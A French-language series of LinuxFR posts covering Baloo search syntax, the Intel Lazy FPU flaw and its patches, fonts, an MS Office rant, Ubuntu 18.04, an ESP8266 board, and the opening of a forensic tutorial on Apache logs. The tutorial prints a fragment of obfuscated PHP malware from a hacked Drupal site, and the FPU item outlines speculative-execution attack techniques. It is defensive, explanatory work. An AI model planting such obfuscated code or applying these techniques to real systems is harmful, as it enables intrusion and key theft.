    Pour éviter que certains fichiers non-intéressants soient indexés, Baloo n'indexe plus par défaut les fichiers textes dont la taille est supérieure à 10 mébioctets.

    La documentation de Baloo n'étant pas des plus aisées à trouver, voici un petit récapitulatif de sa syntaxe :

    # Recherche des fichiers contenant les mots données (insensible à la casse)
    bouts de mots à trouver # implicitement liés par des ET logiques
    
    # Recherche avec ET et OU
    alpha OR beta
    
    # Tri par type de fichiers
    type:video gone girl
    
    # Recherche complexe
    artist:(queen OR oasis) tracknumber:4

    Voici une liste de propriétés que vous pouvez utiliser, en fonction des types de fichiers (d'après le code source) :

    Documents Images Audio
    Author Keywords BitRate
    Title Width Channels
    Subject Height Duration
    Creator AspectRatio Genre
    Generator FrameRate SampleRate
    PageCount ImageMake TrackNumber
    WordCount ImageModel ReleaseYear
    LineCount ImageDateTime Comment
    Language ImageOrientation Artist
    Copyright PhotoFlash Album
    Publisher PhotoPixelXDimension AlbumArtist
    Description PhotoPixelYDimension Composer
    CreationDate PhotoDateTimeOriginal Lyricist
    PhotoFocalLength
    PhotoFocalLengthIn35mmFilm
    PhotoExposureTime
    PhotoFNumber
    PhotoApertureValue
    PhotoExposureBiasValue
    PhotoWhiteBalance
    PhotoMeteringMode
    PhotoISOSpeedRatings
    PhotoSaturation
    PhotoSharpness

    Apparence

    Une amélioration du thème Breeze :

    • Décorations de fenêtres ;
    • Nouvelles icônes ;
    • Curseur blanc (dit neige).

    En outre, Breeze configure les thèmes GTK dès la première connexion par souci d'homogénéité.

    Voici les décorations :

    Breeze

    Plus de 300 bogues corrigés dans les modules Plasma.

    Voici les icônes :

    Icônes Breeze

    Conclusion

    Plasma 5.3, prévu pour le 28 avril prochain, devrait peaufiner tout ça, même si le bureau est maintenant utilisable sans gros soucis. En parallèle, de nombreuses applications passerons la version Qt 5/Kframeworks par défaut (telle que Dolphin ou encore KCalc).

    Amarok sera-t-il porté vers Qt 5 ? C'est difficile à dire. Alors peut-être Clémentine ?

    N'hésitez-pas à tester tout ça au sein de votre distribution favorite !

    Lire les commentaires

  • Lazy FPU state restore (Dépêches LinuxFR)

    Intel est de nouveau confronté à la découverte d'une faille, le
    Lazy FPU State Restore flaw.
    Cette fois, seule la famille des intel core serait concernée.

    Sommaire

    Le FPU

    L'unité de calculs flottants, le FPU, possède une série de registres qui lui permet de définir son état courant.
    Lors du basculement d'une tâche à une autre ( context switch), cet état est alors restauré pour retrouver un contexte correspondant au processus en cours.

    Ces opérations peuvent être coûteuses car les registres sont plus gros que ceux du CPU, c'est pourquoi les FPU fournissent une option pour désactiver toute opération flottante (CR0:TS) ; aussi, dès qu'un calcul flottant est appelé une exception est lancée pour réveiller le FPU avant de lancer l'opération normalement.
    Lorsque cette exception (fpudna, FPU Device Not Available) se produit, un gestionnaire de contexte fpu vérifie quel processus a la main sur le FPU à ce moment-là.
    S'il s'agit d'un autre processus, il procède à la sauvegarde puis restauration des registres, ou s'il s'agit d'un nouveau contexte, la sauvegarde puis nettoyage des registres ; sinon, il ne fait rien : c'est le mode «paresseux» (lazy). À la sortie du processus, il ne faut pas oublier de nettoyer ces tables et de (re)lever tous les drapeaux liés à cette exception.

    En mode eager (zélé, volontaire), la sauvegarde/restauration des registres associés au FPU est effectuée quoiqu'il advienne, au moment du changement de tâche et non durant l'exécution de la tache qui vient de prendre la main.

    Le bâton

    Au fil des années, les processeurs ont multiplié les registres pour prendre en charge les instructions de type SIMD, soit une instruction capable de procéder au même calcul sur un ensemble de paires de données.

    Les registres SSE, AVX et MMX restent associés au FPU et seront donc intégrés au mécanisme de sauvegarde/restauration…
    … et ils peuvent contenir jusqu'à 2Kb de données, rien que sur l'AVX.

    [    0.000000] Linux version 4.14.48-intel-pk-standard (oe-user@oe-host) (icc version 18.0.2 (gcc version 7.3.0 compatibility)) #2 SMP PREEMPT Wed Jun 20 13:21:48 UTC 2018                                                              
    [    0.000000] x86/fpu: Supporting XSAVE feature 0x001: 'x87 floating point registers'                               
    [    0.000000] x86/fpu: Supporting XSAVE feature 0x002: 'SSE registers'                                              
    [    0.000000] x86/fpu: Supporting XSAVE feature 0x008: 'MPX bounds registers'                                       
    [    0.000000] x86/fpu: Supporting XSAVE feature 0x010: 'MPX CSR'                                                    
    [    0.000000] x86/fpu: xstate_offset[3]:  576, xstate_sizes[3]:   64                                                
    [    0.000000] x86/fpu: xstate_offset[4]:  640, xstate_sizes[4]:   64                                                
    [    0.000000] x86/fpu: Enabled xstate features 0x1b, context size is 704 bytes, using 'compacted' format.
    

    Pour se faire battre

    Par le biais désormais connu de l’exécution spéculative puis de l'analyse de cache, un attaquant pourra lire ces registres depuis un autre processus, voire, depuis une machine virtuelle. En effet, en mode lazy la sauvegarde des registres d'une tâche s'effectue au cours de l'exécution d'une autre tâche. La spéculation ignorant le drapeau CR0:TS, tout est alors possible.

    Ces registres peuvent contenir des informations sensibles comme des clefs de chiffrement (AES), par le biais des instructions d'accélération matérielle AES-NI.

    Delivers Fast, Affordable Data Protection and Security. AHeum.

    Colin Percival, ex membre de l'équipe sécurité de FreeBSD, a codé un exploit en quelques heures et note, dans un tweet :

    You need to be able to execute code on the same CPU as the target process in order to steal cryptographic keys this way. You also need to perform a specific sequence of operations before the CPU pipeline completes, so there’s a narrow window for execution

    Vous devez être en mesure d'exécuter le code [de l'exploit] sur le même CPU que celui de la cible pour voler les clefs de cette manière. Vous devrez en outre appliquer une suite précise d'opérations avant que la chaîne de traitement du CPU ne se termine ; de fait, la fenêtre de tir est très étroite.

    Ce qui semble vouloir dire que, pour l'instant, coder le vol de données depuis un script venu du Web n'est pas simple à produire. Le temps nécessaire au vol des données des registres est la clef de l'attaque. Il faut le terminer avant que le séquenceur ne préempte la victime et que les valeurs des registres ne soient modifiées.

    Pour y arriver, les chercheurs ont utilisé plusieurs méthodes:

    • Exception

    Il s'agit de coder la fuite de données à l'ombre d'une exception, sciemment provoquée, tel un page fault par exemple. Mais il s'avère que cette solution est trop lente pour récupérer tout un jeu de registres.

    • Intel TSX

    Cette mécanique n'est disponible que sur les architectures récentes (à partir de Haswell) ce qui limite l'angle d'attaque. Cette technologie comporte un jeu d'instructions appelé RTM (Restricted Transactional Memory) qui permet d'annuler un bloc d'exécution en cas d'interruption ; il suffit d'y encadrer le code malicieux, qui va innocemment faire appel au FPU, pour lever l'exception fpudna… Ce serait presque « étudié pour ».

    • Retpoline

    Il s'agit au départ d'une contre-mesure pour spectre.
    Elle vise à fourvoyer sciemment le CPU sur l'adresse de retour d'un RET en plaçant une fausse boucle et donc le forcer à exécuter de manière spéculative un code innocent. Le code malicieux sera donc placé à cet endroit.

    Les correctifs

    Le mode lazy semble moins pertinent aujourd'hui. Les gains en performance sont faibles sous les architectures récentes et surtout selon les usages actuels ; voire, le FPU étant beaucoup plus utilisé dans nos logiciels, son usage serait contre-productif.
    En effet, les compilateurs choisissent d'appeler les instructions SIMD (i.e. -sse) pour optimiser le code des logiciels. De fait, ceux-ci auront de toute façon sauvegardé et restauré les registres du FPU à chaque changement de contexte. La gestion de l'exception sera inutile et va juste alourdir le processus.
    En outre, l'empreinte d'une sauvegarde/restauration serait moindre que celle de la gestion des drapeaux, des registres et de leurs états suite à l'interruption, le transfert de registres FPU en mémoire étant plus rapide car optimisé.

    Il est donc préconisé d'éviter le mode lazy au profit du mode eager.

    • Linux propose le mode eager plutôt que le mode lazy depuis la version 3.7 et l'active par défaut depuis la version 4.9.

      • Ajoutez eagerfpu=on sur la ligne de démarrage pour les versions antérieures à la 4.9.
    • FreeBSD a poussé un patch pour la Release 11.2. C'est un FreeBSD 11.1 qui a servi de cobaye ;

    • DragonFly BSD a poussé un patch dans la version 5.2.2 ;

    • Microsoft poussera un patch en juillet ;

    • OpenBSD a poussé un patch le 14 juin pour la version 6.3 ;

    • NetBSD a poussé un patch le 16 Juin sur MAIN .

    Conclusion

    Ils ne sont pas à la fête cette année, chez Intel. Le point positif est que la correction de cette faille devrait conduire à une amélioration des performances, voire de la consommation d'énergie.

    Theo de Raadt avait prévenu 11 ans auparavant que l'architecture Intel Core2 promettait ce genre de faille :

    These processors are buggy as hell, and some of these bugs don't just
    cause development/debugging problems, but will ASSUREDLY be
    exploitable from userland code.

    Ces processeurs sont bugués comme jamais et nombre de ces bugs ne provoquent pas seulement des soucis de développement et d'analyse, mais ils vont assurément être exploitables depuis l'espace utilisateur.

    Pour la petite histoire, l'embargo s'est terminé le 6 Juin.
    Colin Percival, qui assistait à une conférence de Théo de Raadt lors de la BSDCan 2018, a codé un exploit dans la foulée, qu'il n'a pas encore rendu public. Mais il a convaincu Intel de lever l'embargo au plus vite.
    Il est notable qu'aucun des deux n'avait été mis dans la confidence ; OpenBSD signale même qu'ils en ont fait la demande ( des rumeurs circulaient autour d'une énième version de spectre) mais sans obtenir de réponse.

    Invitation to Embargo? No.
    We asked.

    No reply.

    Commentaires : voir le flux atom ouvrir dans le navigateur

  • Votre police préférée (Journaux LinuxFR)

    Tout d'abord, non, ce journal ne traite pas des forces de l'ordre, il parle de police d'écriture. Un journal abordant les sujets connexes au maintient de l'ordre comme la maréchaussé est dans les tuyaux n'ayez crainte.

    Les polices d'écriture (la manière de dessiner les caractères de notre alphabet latin) se séparent en trois groupes : Le sérif, le sans sérif et le monospace (aussi appelé monochasse par les allergiques à la langue de Shakespeare). Le monospace pouvant être tantôt avec, tantôt sans sérif…

    Des foultitudes de polices existent pour chacune de ces catégories. Citons les plus connues : Arial, Time New Roman, Helvetica, DejaVu, Liberation ou encore Nimbus.

    Les polices « sans sérif » (sans empattement) ont ma préférence pour la lecture de texte sur un écran d'ordinateur. Dans une émulation de terminal je ne peux envisager autre chose que du « monospace » (chaque caractère occupe exactement la même largeur), sans sérif bien entendu… Pourtant tous les livres que je lis utilisent une police « sérif » et je m'en accommode.

    Vous pourrez trouver un énorme choix de polices, certaines étant libres d'autres non, sur le site http://www.dafont.com/ (vous l'avez sûrement deviné, « police » se dit "font" en anglais) qui semble être le site de référence dans ce domaine.

    Certaines polices ont une destiné remarquable, par exemple « Comic Sans MS » était une police créée par Microsoft (Vincent Connare pour être précis), à la base à destination des œuvres pour enfants. Pourtant je vois autour de moi de nombreuses personnes (qui ne sont objectivement plus des enfants) la choisir comme police par défaut pour écrire et lire leur mail. Moi je la trouve horrible et elle me fusille les yeux. Mais des personnes m'ont avoué qu'après en avoir testé plusieurs c'était la « plus jolie », la « plus agréable ».

    La police « Impact » (créée en 1965) est aussi devenue incontournable pour des textes courts, tels ceux que l'on rencontre sur les mèmes.

    Et vous, quelle est votre police préférée ? Celle que vous utilisez à l'écran ou pour vos publications destinées à un autre support.

    Pour ma part je trouve que Consolas est assez réussie comme police à chasse fixe pour un terminal. Arial ou Helvetica me conviennent pour afficher du texte sur mon écran. Je continue de me poser cette question : « Pourquoi tous les livres, les journaux que je lis, utilisent une police avec empattement alors que sans c'est beaucoup joli ? »

    Lire les commentaires

  • MS Office c'est vraiment de la merde (Journaux LinuxFR)

    Ce journal est un coup de gueule. Aujourd'hui j'ai perdu 30 minutes à travailler dans le vent. Et ça, croyez moi, travailler dans le vent c'est vraiment un truc que je déteste. Déjà que travailler tout court bof…

    Voilà ce que j'avais à faire. Je dois installer un logiciel sur plusieurs serveurs. Je n'ai jamais installé ce logiciel alors je cherche une procédure et il n'y en a pas, enfin si une, mais clairement pas à jour. En questionnant les bonnes personnes je retrouve un document qui a l'air à jour, pas de problème je suis la procédure, j'installe mon logiciel et, à priori, ça juste marche. Alors pourquoi faire un journal me direz-vous ? Et bien parce que le fait que ça marche n'est pas suffisant, il faudrait que cette procédure soit référencé dans notre référentiel, un « truc en SharePoint ». Pour cela il serait bien qu'elle soit conforme à notre charte graphique. Je me dis bof, c'est vraiment pas la mort, allez, je vais faire un peu de bureautique, prendre le modèle de procédure en vigueur, éditer deux trois trucs et copier coller depuis la procédure actuelle.

    Alors (j'ai la procédure actuelle ouverte) je récupère mon modèle depuis le « truc en SharePoint », je configure deux trois trucs (les champs liés à SharePoint : titre du document, application, etc…) et j'enregistre le document sous un nom ad hoc en local (sur un lecteur réseau en fait mais vous allez voir qu'on s'en fout). Puis, tout guilleret, je copie/colle ce qui va bien depuis la procédure actuelle. Et là, une fois que le résultat me convient je clicouille sur l'icône disquette (ie « enregistrer »). Tiens c'est bizarre j'ai une boîte de dialogue de sélecteur de fichier. Bon, soit, qu'à cela ne tienne je garde le même nom. « Voulez-vous remplacer ? ». Bah oui (connard) je clique OK. Ô le sélecteur de fichier reapparaît. Je retente, même manipulation même résultat (ce qui est quand même rassurant vous en conviendrez). Bof c'est pas grave, renommons le fichier il ne devrait pas y avoir de problème. Ah tiens non pareil dit.

    La réaction de ma collègue présente à ce moment là : « Ton lecteur réseau a dû sauter, enregistre en local. ». Bon déjà je vois que le lecteur réseau fonctionne parfaitement, j'y accède sans problème avec le navigateur de fichiers mais, sait-on jamais, pourquoi pas, je vais faire un « enregistrer sous » et foutre ça sur un lecteur local. Ah merde, ça fait pareil, je clique OK et ce satané sélecteur de fichier réapparaît…

    Résultat des courses, impossible d'enregistrer mon travail. Là, personnellement je m'en fous, que la procédure ne suivent pas la charte graphique de la boîte m'est égal tant que cette procédure est claire et efficiente. Mais j'ai quand même les boules. Et si j'avais rédigé cette procédure ? Plusieurs dizaines de minutes d'intense travail intellectuel foutu en l'air, non mais "What the fuck?" comme disent les anglophones.

    Ma collègue ayant bien vu que je devenais tout violet a tenté de me rassurer : « Ah mais tu sais tous ceux qui travaillent sous MS Office prennent l'habitude, ils enregistrent le plus souvent possible, mois aussi ça m'est déjà arrivé, t'es pas tout seul mon pauvre. »

    Nan mais WTF, seriously?

    Elle m'a même raconté que pour contourner ce genre de bug on pouvait par exemple éteindre brutalement sa machine, du coup Windows en rebootant, croyant à une coupure de courant, proposait de récupérer le document. Elle a reconnu d'elle-même le côté exotique de ce workaround.

    D'habitude j'utilise LibreOffice, en version beta (enfin, dans des versions pas finies : Debian unstable) et j'ai pu constaté des bugs bien chiants genre l'impossibilité de renommer un onglet. Mais là franchement, impossible d'enregistrer son travail, j'ai jamais vu. J'en fais même un journal ici, vous devinez l'ampleur de ma berlue.

    Alors voilà. Soit il y a un monumental problème entre la chaise et le clavier et dans ce cas je ne doute pas que vous me mettrez sur la voie de la raison. Soit MS Office est vraiment, sans aucun doute possible, une bouse immonde créée rien que pour faire chier l'utilisateur.

    Est-ce que, si tant est qu'il y ait des utilisateurs de MS Office, ce genre de truc vous est déjà arrivé ?

    Lire les commentaires

  • Sortie d’Ubuntu 18.04 LTS Bionic Beaver (Dépêches LinuxFR)

    Sortie le 27 avril 2018, Ubuntu 18.04 est la vingt‐huitième version d’Ubuntu. Il s’agit d’une version dite « LTS » (Long Term Support), qui sera maintenue pendant cinq ans. Son nom de code est Bionic Beaver, soit le « castor bionique » en français.

    Castor américain, d’après Wikipédia

    Sommaire

    Distribution Ubuntu

    Pour rappel, Ubuntu est une distribution GNU/Linux basée sur Debian. Elle a hérité de sa distribution mère l’objectif d’universalité : elle vise à être utile sur les ordinateurs de bureau, les ordinateurs portables, mais aussi les serveurs, l’informatique en nuage et les objets connectés en général. Elle se veut simple d’accès pour les utilisateurs n’ayant pas de connaissances poussées en informatique, mais également attrayante pour les développeurs.

    En plus de la distribution mère, Ubuntu, il existe plusieurs variantes officielles, fournies avec des choix logiciels différents, afin de couvrir un besoin (Ubuntu Server, Ubuntu Studio…) ou de fournir un environnement de bureau particulier (Kubuntu, Xubuntu, Lubuntu…). Cette dépêche présente les principales nouveautés.

    Version LTS

    L’abréviation LTS signifie Long Term Support, ou support à long terme, c’est‐à‐dire que contrairement aux versions stables qui sortent tous les six mois et qui bénéficient des correctifs de sécurité neuf mois après la sortie de la publication stable, une version LTS sort tous les deux ans et est maintenue pendant soixante mois (cinq ans).

    Ce type de maintenance étendue existe depuis les débuts d’Ubuntu (la première LTS était Ubuntu 6.06 Dapper Drake, sortie il y a douze ans). Cependant, la généralisation de la maintenance de cinq ans à toutes les variantes (et pas seulement les serveurs) date d’Ubuntu 12.04 LTS Precise Pangolin.

    À noter cependant que le support n’est assuré par Canonical que sur les paquets du dépôt main. Les paquets provenant d’autres dépôts sont, quant à eux, maintenus du mieux possible par la communauté, bien que des employés de Canonical puissent parfois également donner un coup de main.
    En pratique, le support de cinq ans s’applique pour Ubuntu Desktop, Ubuntu Server et Ubuntu Core. Toutes les autres variantes ne seront supportées « que » pendant trois ans, à l’exception notable d’Ubuntu Studio qui ne sera supportée que neuf mois.

    Il est possible de mettre à jour d’une version LTS à une autre. Si vous utilisez actuellement Ubuntu 16.04 LTS, notez que la mise à jour ne vous sera pas proposée avant fin juillet et la sortie de la première réédition « 18.04.1 » de cette nouvelle Ubuntu. En attendant, si vous souhaitez forcer le mouvement, vous pouvez simplement lancer la commande do-release-upgrade -d.

    Nouveautés générales

    • noyau Linux 4.15 ;
    • Mesa 3D 18 ;
    • GCC 7.3 ;
    • Glibc 2.27 ;
    • systemd 237 ;
    • Python 3.6.5 ;
    • PHP 7.2 ;
    • OpenJDK 10 ;
    • PostgreSQL 10 ;
    • LXD 3.0 ;
    • GNOME 3.28 ;
    • KDE Plasma 5.12 ;
    • Qt 5.9.4 ;
    • LibreOffice 6 ;
    • Firefox 59 ;
    • LLVM/Clang 6 ;
    • meilleure prise en charge de l’architecture IBM s390x.

    Option d’installation minimale

    L’installateur Ubiquity, utilisé par la version standard d’Ubuntu et par la plupart de ses variantes, offre dorénavant une option permettant une installation « minimale ». Concrètement, avec cette option, seul un navigateur Web et les utilitaires de base seront installés en plus du bureau. Exit donc LibreOffice, le lecteur vidéo et autres.

    Améliorations concernant la sécurité

    De nouvelles options de compilation liées à la sécurité ont été activées par défaut. Les exécutables sont maintenant « à position indépendante » (PIE) et à « liens immédiats » (immediate binding), ce qui permet de rendre plus efficace la technique d’Address Space Layout Randomization.
    Pour résumer, l’exploitation d’éventuelles failles de sécurité sera plus difficile au sein des logiciels fournis par Ubuntu.

    Nouveautés pour le bureau par défaut (GNOME)

    Alors que la version 17.10 d’Ubuntu utilisait par défaut un compositeur graphique basé sur le protocole Wayland, il a été décidé de retourner sur l’ancien et éprouvé X.Org pour cette version LTS. Le choix entre les deux sessions reste disponible sur l’écran de connexion. Il est attendu qu’Ubuntu 18.10 repasse en mode Wayland.

    Début de « Snapification »

    Lors d’une nouvelle installation, certains composants de GNOME sont par défaut installés via des paquets Snap. Il s’agira de la calculatrice, du moniteur système et des lecteurs de journaux système et de tables de caractères.
    Les paquets Snap permettent une véritable isolation entre les applications et le système. Cela permettra de maintenir à jour les applications en question au cours de la vie de cette Ubuntu LTS, et donc éviter de rester bloqué cinq ans sur les versions de GNOME 3.28 fournies par les paquets Debian standards.

    Le lecteur attentif notera que les applications « snapifiées » jusqu’à présent ne sont pas forcément celles dont les mises à jour paraissent le plus crucial. Mais il faut voir celles‐ci comme un premier pas qui permettra de s’assurer de la fiabilité de l’ensemble. L’objectif est que de plus en plus d’applications soient livrées par défaut sous forme de Snap à l’occasion des prochaines versions d’Ubuntu.

    Écran de premier lancement

    Au premier lancement après installation ou mise à jour, un guide « Quoi de neuf dans Ubuntu » est affiché. En plus de présenter des explications sur l’ergonomie globale du bureau, ce guide propose de configurer Livepatch (le système de mise à jour du noyau qui ne nécessite pas de redémarrage) ainsi que la collecte d’information au sujet du matériel utilisé.

    Côté serveurs

    En dehors des mises à jour de nombreux composants, la nouveauté la plus visible pour les nouvelles installations concerne l’introduction d’un nouvel installateur en mode texte nommé Subiquity. Celui‐ci calque son fonctionnement sur l’installateur standard des versions pour ordinateur de bureau d’Ubuntu. Ses principaux avantages sont une rapidité et une simplicité d’installation accrue, tout en permettant de partager le code sous‐jacent entre toutes les versions d’Ubuntu, et donc une charge de maintenance plus faible. De plus, ce nouvel installateur permet enfin à Ubuntu version serveur de profiter d’une véritable session autonome (live), afin de pouvoir facilement tester le système avant de lancer l’installation.
    À noter cependant que Subiquity ne gère pas encore l’installation en mode RAID ou LVM. En cas de besoin, l’ancien installateur reste disponible au sein des images d’installation minimales et alternate.

    Et la suite ?

    À l’heure actuelle, le nom de code d’Ubuntu 18.10 n’a pas encore été dévoilé. Votre serviteur a un faible pour « Charming Caribou », mais c’est Mark Shuttleworth qui saura, comme d’habitude, trouver le nom qui convient. Au rayon des nouveautés attendues, on peut principalement s’attendre à une session Wayland fiabilisée et qui redeviendrait la session par défaut. Il est également probable que Kubuntu fasse un pas similaire avec la prochaine version de Plasma.

    Plus globalement, Ubuntu 18.10 annonce le début d’un nouveau cycle de deux ans jusqu’à la prochaine version LTS, qui sortira en 2020. Il s’agira donc du moment idéal pour réaliser des changements au sein des technologies fondamentales de la distribution. En plus de l’accélération de la « snapification » du système, on parle par exemple de l’utilisation de l’algorithme de compression Zstandard pour tous les paquets afin d’accélérer les temps d’installation.
    Vivement octobre prochain !

    Commentaires : voir le flux atom ouvrir dans le navigateur

  • Microcontrolleur de LED basé ESP8266 (Dépêches LinuxFR)

    ANAVI Light Controller est une nouvelle carte OpenSourceHardWare pour contrôler un ruban de DEL (LED strip RGB). Ce projet est OpenSource et conçu avec KiCAD, et disponible a l'achat à partir de 25€ jusqu'au 27 juin 2018.
    plan du Anavi Light Controller sur KiCAD
    La carte peut être utilisée de façon autonome avec le logiciel embarqué de demo en se connectant sur une page web (MQTT d'Eclipse paho). Mais passer par internet via un broker MQTT public n'est peut être pas idéal pour tous, du coup une autre solution est tout aussi envisageable via une passerelle locale (et optionnellement accessible à distance).

    Naturellement, ce microcontrôleur (MCU) ESP8266 peut être aussi reprogrammé, c'est une alternative intéressante aux populaires Arduino's car un bloc WiFi (pas libre?) est intégré au MCU.

    Pour ma part, j'ai eu la chance de tester le produit, ça fait le job comme on dit ! mais je vous invite à lire la la revue en français sur le blog Framboise314.

    Pour utiliser une passerelle locale, il faut préalablement installer Mozilla IoT Gateway sur Raspberry Pi et reprogrammer le MCU avec mon implémentation de "RGBLamp" qui utilise l'API "WebThings" de Mozilla se connectant ensuite via mDNS, HTTP, REST (voir video)….

    webthing-esp8266-webapp-20180602rzr

    Pour ceux qui ne veulent pas faire un pas hors de leur OS préféré, considérez le précédent produit de Leon pour RaspberryPi.

    Finalement, si vous utilisez Mozilla-IoT, les retours sont bienvenus.

    Commentaires : voir le flux atom ouvrir dans le navigateur

  • Remonter une attaque et trouver la faille avec les logs d'Apache2 (Dépêches LinuxFR)

    Nous allons voir dans cet article comment remonter une attaque suite au piratage d'un site avec les logs d'Apache. On partira du principe que Apache est déjà configuré pour mettre ses logs dans /var/log/apache2 et dans les fichiers access.log et error.log.

    Sommaire

    La documentation d'apache explique très bien comment est formée une ligne typique d'un fichier de log, mais découpons finement la ligne suivante pour voir ce que ça signifie :

    93.184.216.34 - - [20/Apr/2015:21:54:21 +0200] "GET /2015/01/25/NSA-bullrun.html HTTP/1.1" 200 8766 "https://www.libwalk.so/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36" 0 
    

    Pour info, ça correspond à la ligne suivante dans votre configuration apache2 :

    LogFormat "%{LOGIN}e %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %T"
    

    Pour la comprendre plus facilement, on peut imaginer la lire comme un journal de bord dans lequel la personne qui s'en chargerait raconterait tout avec le plus de détails possible. Dans l'exemple ci-dessus, les logs nous racontent que :

    J'ai eu une requête provenant de l'adresse IP 93.184.216.34 le 20 avril 2014 à 21h54 et 21 secondes (+0200 indiquant la timezone de votre serveur), elle m'a demandé (GET) d'accèder à la ressource /2015/01/25/NSA-bullrun.html en utilisant le protocole HTTP/1.1.

    J'indique ensuite le statut de cette ressource (200), ainsi que sa taille (ici le nombre d'octets envoyés, y compris les en-têtes) (8766).

    Elle m'indique venir du site https://www.libwalk.so (referer) et m'affirme l'avoir fait en utilisant le logiciel Mozilla/5.0 […] (user-agent). Et j'ai mis 0 seconde à servir cette ressource.

    Pour comprendre comment on peut retrouver des traces d'une personne (ou d'un bot) "facilement", voici les logs que génère un visiteur en arrivant sur ce blog (j'ai passé des lignes pour que ce soit plus lisible) :

    93.184.216.34 - - [20/Apr/2015:21:53:45 +0200] "GET / HTTP/1.1" 200 2605 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36" 0 
    
    93.184.216.34 - - [20/Apr/2015:21:53:45 +0200] "GET /css/slimbox2.css HTTP/1.1" 200 536 "https://www.libwalk.so/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36" 0 
    
    93.184.216.34 - - [20/Apr/2015:21:53:45 +0200] "GET /css/bootstrap.min.css HTTP/1.1" 200 16343 "https://www.libwalk.so/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36" 0 
    
    93.184.216.34 - - [20/Apr/2015:21:53:46 +0200] "GET /css/style.css HTTP/1.1" 200 673 "https://www.libwalk.so/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36" 0 
    
    

    Puis en cliquant sur le bouton "read more" de l'article "NSA - À propos de BULLRUN" :

    93.184.216.34 - - [20/Apr/2015:21:54:21 +0200] "GET /2015/01/25/NSA-bullrun.html HTTP/1.1" 200 8766 "https://www.libwalk.so/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36" 0 
    
    93.184.216.34 - - [20/Apr/2015:21:54:21 +0200] "GET /images/2014/snowden/trivial_catastrophic.png HTTP/1.1" 200 96122 "https://www.libwalk.so/2015/01/25/NSA-bullrun.html" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36" 0 
    
    93.184.216.34 - - [20/Apr/2015:21:54:21 +0200] "GET /images/2014/snowden/PGP_encrypted1.png HTTP/1.1" 200 15137 "https://www.libwalk.so/2015/01/25/NSA-bullrun.html" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36" 0 
    
    93.184.216.34 - - [20/Apr/2015:21:54:21 +0200] "GET /images/2014/snowden/OTR_encrypted1.png HTTP/1.1" 200 45057 "https://www.libwalk.so/2015/01/25/NSA-bullrun.html" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36" 0 
    

    Dans la première partie, il arrive sur la page d'accueil du site, et il demande les feuilles de style CSS pour pouvoir afficher l'ensemble convenablement. Dans la seconde partie, on peut voir qu'il charge la page de l'article et qu'il "demande" les images d'illustrations qui vont avec.

    Codes et méthodes

    Les quelques lignes de logs que vous avez ci-dessus sont toujours sur le même modèle (même méthode HTTP, même code HTTP, …), avant de continuer, voici quelques éléments supplémentaires pour mieux comprendre la suite :

    Liste des codes HTTP, avec ceux que l'on retrouve le plus souvent) :

    Nous avons eu seulement des codes 200 dans les requêtes ci-dessus. Voici une vue rapide de ce que l'on peut avoir :

    • 1xx : message d'information, type "requête reçue, le process continue"
    • 2xx : message annonçant un succès
      • 200 : OK
    • 3xx : message annoncant une redirection
      • 307 : redirection temporaire
      • 308 : redirection permanente
    • 4xx : erreur du client
      • 401 : requête non autorisée
      • 403 : requête interdite
      • 404 : requête non trouvée
    • 5xx : erreur du serveur
      • 503 : service non disponible
    Liste des méthodes HTTP
    • GET : demande une ressource (la requête étant normalement sans effet sur celle-ci ressource)
    • POST : transmet des données en vue d'un traitement. Le résultat peut être la création de nouvelles ressources (fichiers…) ou la modification de fichiers existants.
    • HEAD : demande seulement des informations sur la ressource (sans demander la ressource elle-même)

    À noter qu'il existe d'autres méthodes (DELETE, PUT, TRACE…) mais qui apparaissent très, très rarement. Si vous vous êtes fait pirater, et que vous avez une idée du moment de l'attaque, commencez par regarder les requêtes POST ayant eu lieu à ce moment là :)

    Temps de jouer à cache-cache

    Nous allons voir ici deux exemples d'attaques différentes pour vous donner des pistes à suivre.

    Exemple 1 : Drupal

    Un attaquant a réussi à injecter du code sur un Drupal.

    En regardant les fichiers modifiés récemment du site, par exemple avec la commande find et son option -mtime(fichier dont les données ont été modifiées il y a n*24 heures). Dans cette ligne de commande, je recherche donc les fichiers php ayant été modifiés il y a moins de 2 jours.

    find . -mtime -2 -iname "*.php"
    

    Après un piratage, on trouve souvent des fichiers avec des lignes en plus (souvent en base64 ou avec des chaînes de caractères étranges) :

    $YLbgPfj524 = "vh46afl7tm2ik*n3pws.bu;0j)(qo_erzxy51dg9c8/";$oDJXw7301 = $YLbgPfj524[16].$YLbgPfj524[31].$YLbgPfj524[30].$YLbgPfj524[38].$YLbgPfj524[29].$YLbgPfj524[31].$YLbgPfj524[30].$YLbgPfj524[16].$YLbgPfj524[6].$YLbgPfj524[4].$YLbgPfj524[40].$YLbgPfj524[30];$Gcwa9593
    

    Regardons la date exacte de modification d'un des fichiers :

    ls -l sites/all/themes/wtm7973n.php
    -rw-rw---- 1 www-data www-data 1285 mars  28 06:03 ./sites/all/themes/wtm7973n.php
    

    et d'un autre :

    ls -l sites/default/db.php
    -rw-rw---- 1 www-data www-data 510 mars  28 06:19 ./sites/default/db.php
    

    Notre première piste : le 28 mars à 06h03 (c'est l'heure la plus ancienne que je trouve dans les fichiers modifiés) ; si les logs sont particulièrement verbeux, on peut affiner directement en enlevant les requêtes GET, par exemple avec grep -v "GET" access.log|less).

    Cherchons dans les logs

